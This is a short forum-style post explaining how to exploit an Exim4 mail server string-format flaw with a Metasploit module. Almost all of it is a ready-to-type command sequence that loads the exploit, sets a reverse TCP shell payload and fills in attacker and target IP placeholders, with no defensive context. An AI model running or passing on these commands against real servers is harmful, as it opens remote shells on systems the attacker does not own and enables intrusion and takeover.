There's a Metasploit module for it as well:
http://www.metasploit.com/modules/exploit/unix/smtp/exim4_string_format

So exploiting it is as simple as:

1. install Metasploit
2. run Metasploit
3. Type:
use exploit/unix/smtp/exim4_string_format
set payload generic/shell_reverse_tcp
set LHOST my.ip
set RHOST target.ip
exploit
